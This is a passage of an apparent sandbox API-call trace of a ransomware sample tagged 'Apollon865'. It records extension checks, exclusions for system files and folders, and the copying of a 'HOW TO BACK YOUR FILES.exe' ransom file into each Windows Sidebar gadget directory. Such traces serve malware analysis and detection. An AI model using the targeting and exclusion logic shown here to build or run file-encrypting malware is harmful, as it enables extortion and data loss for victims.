	[0052.062] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0052.062] lstrlenW (lpString="adn") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0052.062] lstrlenW (lpString="adp") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0052.062] lstrlenW (lpString="alf") returned 3
	[0052.062] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0052.063] lstrlenW (lpString="ask") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0052.063] lstrlenW (lpString="btr") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0052.063] lstrlenW (lpString="cat") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0052.063] lstrlenW (lpString="cdb") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0052.063] lstrlenW (lpString="ckp") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0052.063] lstrlenW (lpString="cma") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0052.063] lstrlenW (lpString="cpd") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0052.063] lstrlenW (lpString="dacpac") returned 6
	[0052.063] lstrcmpiW (lpString1="nit.js", lpString2="dacpac") returned 1
	[0052.063] lstrlenW (lpString="dad") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0052.063] lstrlenW (lpString="dadiagrams") returned 10
	[0052.063] lstrlenW (lpString="daschema") returned 8
	[0052.063] lstrlenW (lpString="db-journal") returned 10
	[0052.063] lstrlenW (lpString="db-shm") returned 6
	[0052.063] lstrcmpiW (lpString1="nit.js", lpString2="db-shm") returned 1
	[0052.063] lstrlenW (lpString="db-wal") returned 6
	[0052.063] lstrcmpiW (lpString1="nit.js", lpString2="db-wal") returned 1
	[0052.063] lstrlenW (lpString="dbc") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0052.063] lstrlenW (lpString="dbs") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0052.063] lstrlenW (lpString="dbt") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0052.063] lstrlenW (lpString="dbv") returned 3
	[0052.063] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0052.063] lstrlenW (lpString="dbx") returned 3
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0052.064] lstrlenW (lpString="dcb") returned 3
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0052.064] lstrcmpiW (lpString1="t.js", lpString2="dlis") returned 1
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0052.064] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0052.064] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="library.js" | out: lpString1="library.js") returned="library.js"
	[0052.064] lstrlenW (lpString="library.js") returned 10
	[0052.064] lstrlenW (lpString="Apollon865") returned 10
	[0052.064] lstrlenW (lpString=".dll") returned 4
	[0052.064] lstrcmpiW (lpString1="library.js", lpString2=".dll") returned 1
	[0052.064] lstrlenW (lpString=".lnk") returned 4
	[0052.064] lstrcmpiW (lpString1="library.js", lpString2=".lnk") returned 1
	[0052.064] lstrlenW (lpString=".ini") returned 4
	[0052.064] lstrcmpiW (lpString1="library.js", lpString2=".ini") returned 1
	[0052.064] lstrlenW (lpString=".sys") returned 4
	[0052.064] lstrcmpiW (lpString1="library.js", lpString2=".sys") returned 1
	[0052.064] lstrlenW (lpString="library.js") returned 10
	[0052.064] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="localizedStrings.js" | out: lpString1="localizedStrings.js") returned="localizedStrings.js"
	[0052.064] lstrlenW (lpString="localizedStrings.js") returned 19
	[0052.064] lstrlenW (lpString="Apollon865") returned 10
	[0052.064] lstrcmpiW (lpString1="Strings.js", lpString2="Apollon865") returned 1
	[0052.065] lstrlenW (lpString=".dll") returned 4
	[0052.065] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".dll") returned 1
	[0052.065] lstrlenW (lpString=".lnk") returned 4
	[0052.065] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".lnk") returned 1
	[0052.065] lstrlenW (lpString=".ini") returned 4
	[0052.065] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".ini") returned 1
	[0052.065] lstrlenW (lpString=".sys") returned 4
	[0052.065] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".sys") returned 1
	[0052.065] lstrlenW (lpString="localizedStrings.js") returned 19
	[0052.065] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="service.js" | out: lpString1="service.js") returned="service.js"
	[0052.065] lstrlenW (lpString="service.js") returned 10
	[0052.065] lstrlenW (lpString="Apollon865") returned 10
	[0052.065] lstrlenW (lpString=".dll") returned 4
	[0052.065] lstrcmpiW (lpString1="service.js", lpString2=".dll") returned 1
	[0052.065] lstrlenW (lpString=".lnk") returned 4
	[0052.065] lstrcmpiW (lpString1="service.js", lpString2=".lnk") returned 1
	[0052.065] lstrlenW (lpString=".ini") returned 4
	[0052.065] lstrcmpiW (lpString1="service.js", lpString2=".ini") returned 1
	[0052.065] lstrlenW (lpString=".sys") returned 4
	[0052.065] lstrcmpiW (lpString1="service.js", lpString2=".sys") returned 1
	[0052.065] lstrlenW (lpString="service.js") returned 10
	[0052.065] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css"
	[0052.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0052.065] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned 72
	[0052.065] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css"
	[0052.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.065] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.069] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x371b4050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x371b4050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.070] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.070] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.070] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.070] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x371b4050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x371b4050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.070] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.070] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.070] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.070] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.070] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="Apollon865.txt.exe") returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2=".") returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="..") returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="windows") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="bootmgr") returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="temp") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="pagefile.sys") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="boot") returned 1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="ids.txt") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="ntuser.dat") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="perflogs") returned -1
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2="MSBuild") returned -1
	[0052.070] lstrlenW (lpString="currency.css") returned 12
	[0052.070] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*") returned 74
	[0052.070] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="currency.css" | out: lpString1="currency.css") returned="currency.css"
	[0052.070] lstrlenW (lpString="currency.css") returned 12
	[0052.070] lstrlenW (lpString="Apollon865") returned 10
	[0052.070] lstrcmpiW (lpString1="rrency.css", lpString2="Apollon865") returned 1
	[0052.070] lstrlenW (lpString=".dll") returned 4
	[0052.070] lstrcmpiW (lpString1="currency.css", lpString2=".dll") returned 1
	[0052.071] lstrlenW (lpString=".lnk") returned 4
	[0052.071] lstrcmpiW (lpString1="currency.css", lpString2=".lnk") returned 1
	[0052.071] lstrlenW (lpString=".ini") returned 4
	[0052.071] lstrcmpiW (lpString1="currency.css", lpString2=".ini") returned 1
	[0052.071] lstrlenW (lpString=".sys") returned 4
	[0052.071] lstrcmpiW (lpString1="currency.css", lpString2=".sys") returned 1
	[0052.071] lstrlenW (lpString="currency.css") returned 12
	[0052.071] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget"
	[0052.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0052.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0052.071] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned 57
	[0052.071] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget"
	[0052.071] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.071] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.077] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.077] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x371b4050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x371b4050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.077] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.077] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.077] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.077] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x371b4050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x371b4050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.077] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.077] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.077] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.077] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.077] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb79c415c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0052.077] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0052.077] lstrlenW (lpString="drag.png") returned 8
	[0052.078] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*") returned 59
	[0052.078] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0052.078] lstrlenW (lpString="drag.png") returned 8
	[0052.078] lstrlenW (lpString="Apollon865") returned 10
	[0052.078] lstrlenW (lpString=".dll") returned 4
	[0052.078] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0052.078] lstrlenW (lpString=".lnk") returned 4
	[0052.078] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0052.078] lstrlenW (lpString=".ini") returned 4
	[0052.078] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0052.078] lstrlenW (lpString=".sys") returned 4
	[0052.078] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0052.078] lstrlenW (lpString="drag.png") returned 8
	[0052.078] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0052.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0052.078] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0052.078] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371b4050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x371b4050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.078] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.078] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4b8bc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7c4b8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0052.078] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0052.078] lstrlenW (lpString="icon.png") returned 8
	[0052.078] lstrlenW (lpString="Apollon865") returned 10
	[0052.078] lstrlenW (lpString=".dll") returned 4
	[0052.078] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0052.078] lstrlenW (lpString=".lnk") returned 4
	[0052.078] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0052.078] lstrlenW (lpString=".ini") returned 4
	[0052.078] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0052.078] lstrlenW (lpString=".sys") returned 4
	[0052.078] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0052.078] lstrlenW (lpString="icon.png") returned 8
	[0052.079] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="images" | out: lpString1="images") returned="images"
	[0052.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0052.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b90d8
	[0052.079] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0052.079] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0052.079] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0052.079] lstrlenW (lpString="logo.png") returned 8
	[0052.079] lstrlenW (lpString="Apollon865") returned 10
	[0052.079] lstrlenW (lpString=".dll") returned 4
	[0052.079] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0052.079] lstrlenW (lpString=".lnk") returned 4
	[0052.079] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0052.079] lstrlenW (lpString=".ini") returned 4
	[0052.079] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0052.079] lstrlenW (lpString=".sys") returned 4
	[0052.079] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0052.079] lstrlenW (lpString="logo.png") returned 8
	[0052.079] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images"
	[0052.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0052.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0052.079] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned 64
	[0052.079] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images"
	[0052.079] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.085] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.085] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x371da1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x371da1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.085] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="back.png" | out: lpString1="back.png") returned="back.png"
	[0052.085] lstrlenW (lpString="back.png") returned 8
	[0052.085] lstrlenW (lpString="Apollon865") returned 10
	[0052.085] lstrlenW (lpString=".dll") returned 4
	[0052.085] lstrcmpiW (lpString1="back.png", lpString2=".dll") returned 1
	[0052.085] lstrlenW (lpString=".lnk") returned 4
	[0052.085] lstrcmpiW (lpString1="back.png", lpString2=".lnk") returned 1
	[0052.085] lstrlenW (lpString=".ini") returned 4
	[0052.085] lstrcmpiW (lpString1="back.png", lpString2=".ini") returned 1
	[0052.085] lstrlenW (lpString=".sys") returned 4
	[0052.085] lstrcmpiW (lpString1="back.png", lpString2=".sys") returned 1
	[0052.085] lstrlenW (lpString="back.png") returned 8
	[0052.085] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="back_lrg.png" | out: lpString1="back_lrg.png") returned="back_lrg.png"
	[0052.085] lstrlenW (lpString="back_lrg.png") returned 12
	[0052.085] lstrlenW (lpString="Apollon865") returned 10
	[0052.085] lstrcmpiW (lpString1="ck_lrg.png", lpString2="Apollon865") returned 1
	[0052.085] lstrlenW (lpString=".dll") returned 4
	[0052.085] lstrcmpiW (lpString1="back_lrg.png", lpString2=".dll") returned 1
	[0052.085] lstrlenW (lpString=".lnk") returned 4
	[0052.085] lstrcmpiW (lpString1="back_lrg.png", lpString2=".lnk") returned 1
	[0052.085] lstrlenW (lpString=".ini") returned 4
	[0052.085] lstrcmpiW (lpString1="back_lrg.png", lpString2=".ini") returned 1
	[0052.085] lstrlenW (lpString=".sys") returned 4
	[0052.085] lstrcmpiW (lpString1="back_lrg.png", lpString2=".sys") returned 1
	[0052.085] lstrlenW (lpString="back_lrg.png") returned 12
	[0052.086] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dial.png" | out: lpString1="dial.png") returned="dial.png"
	[0052.086] lstrlenW (lpString="dial.png") returned 8
	[0052.086] lstrlenW (lpString="Apollon865") returned 10
	[0052.086] lstrlenW (lpString=".dll") returned 4
	[0052.086] lstrcmpiW (lpString1="dial.png", lpString2=".dll") returned 1
	[0052.086] lstrlenW (lpString=".lnk") returned 4
	[0052.086] lstrcmpiW (lpString1="dial.png", lpString2=".lnk") returned 1
	[0052.086] lstrlenW (lpString=".ini") returned 4
	[0052.086] lstrcmpiW (lpString1="dial.png", lpString2=".ini") returned 1
	[0052.086] lstrlenW (lpString=".sys") returned 4
	[0052.086] lstrcmpiW (lpString1="dial.png", lpString2=".sys") returned 1
	[0052.086] lstrlenW (lpString="dial.png") returned 8
	[0052.086] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dialdot.png" | out: lpString1="dialdot.png") returned="dialdot.png"
	[0052.086] lstrlenW (lpString="dialdot.png") returned 11
	[0052.086] lstrlenW (lpString="Apollon865") returned 10
	[0052.086] lstrcmpiW (lpString1="ialdot.png", lpString2="Apollon865") returned 1
	[0052.086] lstrlenW (lpString=".dll") returned 4
	[0052.086] lstrcmpiW (lpString1="dialdot.png", lpString2=".dll") returned 1
	[0052.086] lstrlenW (lpString=".lnk") returned 4
	[0052.086] lstrcmpiW (lpString1="dialdot.png", lpString2=".lnk") returned 1
	[0052.086] lstrlenW (lpString=".ini") returned 4
	[0052.086] lstrcmpiW (lpString1="dialdot.png", lpString2=".ini") returned 1
	[0052.086] lstrlenW (lpString=".sys") returned 4
